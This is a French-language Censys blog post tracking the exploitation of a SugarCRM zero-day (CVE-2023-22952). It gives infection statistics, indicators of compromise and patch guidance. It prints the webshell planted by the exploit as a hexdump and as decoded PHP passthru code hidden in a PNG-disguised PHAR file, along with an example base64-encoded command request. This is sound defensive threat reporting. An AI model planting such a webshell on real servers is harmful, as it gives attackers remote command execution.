Skip to content
Prochain webinaire : Libérez la puissance de la recherche sur Censys avec Em Averton | 27 juin à 13h ET | S'inscrire maintenant
Blogs

Suivi d'un jour zéro dans SugarCRM

Mise à jour le 17 janvier 2023: SugarCRM a fait valider par une société de forensics tierce qu'il n'y a pas eu d'intrusion dans leurs produits basés sur le cloud à cause de cette vulnérabilité. Plus d'informations à ce sujet sont disponibles ici.

Mise à jour du 11 janvier 2023 : Ce problème est désormais suivi sous le nom de CVE-2023-22952 / Mise à jour des comptes compromis

Mise à jour du 10 janvier 2023 : SugarCRM est conscient du problème, et nous avons mis à jour notre article et nos directives sur la correction de la vulnérabilité. Censys n'a pas constaté d'augmentation significative des instances compromises, mais nous continuerons à surveiller la situation.

Le 30 décembre 2022, un utilisateur répondant au nom de "sw33t.0day" a publié un exploit(lien d'archive) sur la liste de diffusion Full-Disclosure pour un système de gestion de contenu basé sur le web appelé SugarCRM. Cette vulnérabilité est actuellement suivie sous le nom de CVE-2023-22952, et malheureusement, l'exploit est actuellement utilisé pour compromettre des hôtes dans la nature et installer un webshell basé sur php.

Le 5 janvier 2023, Censys a observé 3 066 instances de SugarCRM sur Internet, avec 291 hôtes uniques compromis. Au 11 janvier 2023, nous avons trouvé 3 059 instances de SugarCRM sur l'internet et 354 adresses IP uniques contenant le webshell installé par l'exploit (soit une augmentation de 63 adresses IP).

 



 

 

Un message sur le site web de SugarCRM détaille la vulnérabilité et une FAQ décrit les étapes nécessaires pour sécuriser le service.

L'exploit semble être un contournement d'authentification contre "/index.php" sur le service installé. Une fois le contournement de l'authentification réussi, un cookie est obtenu du service et une requête POST secondaire est envoyée au chemin "/cache/images/sweet.phar" qui télécharge un minuscule fichier codé au format PNG contenant du code PHP qui sera exécuté par le serveur lorsqu'une autre requête pour le fichier sera effectuée. Le binaire injecté en question, une fois décodé, ressemble à ce qui suit en utilisant "hexdump" :


00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 00 19 00 00 00 14  08 03 00 00 00 4f a9 66  |.............O.f|
00000020  8f 00 00 00 4b 50 4c 54  45 3c 3f 70 68 70 20 65  |....KPLTE<?php e|
00000030  63 68 6f 20 22 23 23 23  23 23 22 3b 20 70 61 73  |cho "#####"; pas|
00000040  73 74 68 72 75 28 62 61  73 65 36 34 5f 64 65 63  |sthru(base64_dec|
00000050  6f 64 65 28 24 5f 50 4f  53 54 5b 22 63 22 5d 29  |ode($_POST["c"])|
00000060  29 3b 20 65 63 68 6f 20  22 23 23 23 23 23 22 3b  |); echo "#####";|
00000070  20 3f 3e 20 f6 18 78 37  00 00 00 09 70 48 59 73  | ?> ..x7....pHYs|
00000080  00 00 0e c4 00 00 0e c4  01 95 2b 0e 1b 00 00 00  |..........+.....|
00000090  2a 49 44 41 54 28 91 63  60 c0 0d 18 99 98 59 58  |*IDAT(.c`.....YX|
000000a0  d9 d8 39 38 b9 b8 79 78  f9 f8 05 04 85 84 45 44  |..98..yx......ED|
000000b0  c5 c4 25 f0 68 19 05 43  14 00 00 30 be 01 2d 4c  |..%.h..C...0..-L|
000000c0  1e 5a 12 00 00 00 00 49  45 4e 44 ae 42 60 82     |.Z.....IEND.B`.|

Ce qui se traduit grosso modo par le PHP suivant :

<?php 
  echo “#####”; 
  passthru(base64_decode($_POST[“c”])); 
  echo “#####”; 
?>

Il s'agit d'un simple shell web qui exécutera des commandes basées sur la valeur de l'argument de requête "c" encodé en base64 (par exemple, "POST /cache/images/sweet.phar?c="L2Jpbi9pZA==" HTTP/1.1", qui exécutera la commande "/bin/id" avec les mêmes autorisations que l'identifiant de l'utilisateur qui exécute le service web).

Les 10 premiers pays infectés
Pays Nombre d'hôtes infectés Pourcentage du total des infections
États-Unis 90 32.5%
Allemagne 59 21.3%
Australie 20 7.2%
France 18 6.5%
Royaume-Uni 15 5.4%
Irlande 14 5.1%
Canada 10 3.6%
Italie 9 3.2%
Pays-Bas 8 2.9%
Singapour 7 2.5%
Les 10 systèmes autonomes les plus infectés
Système autonome Nombre d'hôtes infectés Pourcentage du total des infections
AMAZON-02 73 26.4%
AMAZON-AES 33 11.9%
HETZNER-AS 21 7.6%
LEASEWEB-DE-FRA-10 10 3.6%
DIGITALOCEAN-ASN 9 3.2%
OVH 9 3.2%
PLATEFORME GOOGLE-CLOUD 8 2.9%
AKAMAI-AP 5 1.8%
SQUIZ-AS-AP 5 1.8%
LIQUIDWEB 5 1.8%

Indicateurs de compromis

Un bon moyen de déterminer si votre installation de SugarCRM a été compromise est de lancer la commande suivante où "$INSTALLDIR" est le répertoire racine de l'installation de SugarCRM :

~$ strings $INSTALLDIR/cache/images/* | grep -i PHP

L'hôte a très probablement été compromis si une sortie est visible. Étant donné que le nom de fichier écrit contenant l'interpréteur de commandes Web peut être modifié arbitrairement, la meilleure méthode d'identification consiste à rechercher des chaînes PHP dans tous les fichiers de ce répertoire.

Étant donné que cet exploit peut facilement être transformé en arme, scanné et automatisé, Censys continuera à suivre cette vulnérabilité.

Les administrateurs doivent également surveiller les journaux des requêtes HTTP destinées au répertoire "/cache/images/" et prêter attention au code de réponse renvoyé par le serveur web.

  • Si un code d'état 404 est affiché, le fichier n'a pas été trouvé et le code malveillant n'a pas été exécuté.
  • Si un code d'état 403 est affiché, l'accès est refusé par le serveur web et le code n'est pas exécuté. Il s'agit du code d'état observé lorsque le service a été corrigé.

Que peut-on faire ?

En résumé, SugarCRM est conscient de ce problème, en a informé ses clients et a déployé un correctif pour son service SugarCRM hébergé dans le nuage. Les clients qui utilisent une version de SugarCRM prise en charge en dehors du produit hébergé dans le nuage ont été invités à télécharger et à appliquer le correctif correspondant à leur instance de SugarCRM. Les clients qui utilisent une version de produit en fin de vie sont encouragés à passer à la dernière version du logiciel dès que possible.

SugarCRM a publié sur son site web une mise à jour détaillant cette vulnérabilité.

 

A propos de l'auteur

Mark Ellzey
Chercheur principal en sécurité Tous les postes de Mark Ellzey
Mark Ellzey est chercheur principal en sécurité à l'adresse Censys. Avant d'occuper son poste actuel, Mark a travaillé pendant plus de 22 ans en tant qu'ingénieur en sécurité des réseaux et développeur de logiciels pour plusieurs fournisseurs de services Internet et institutions financières.
Solutions de gestion de la surface d'attaque
En savoir plus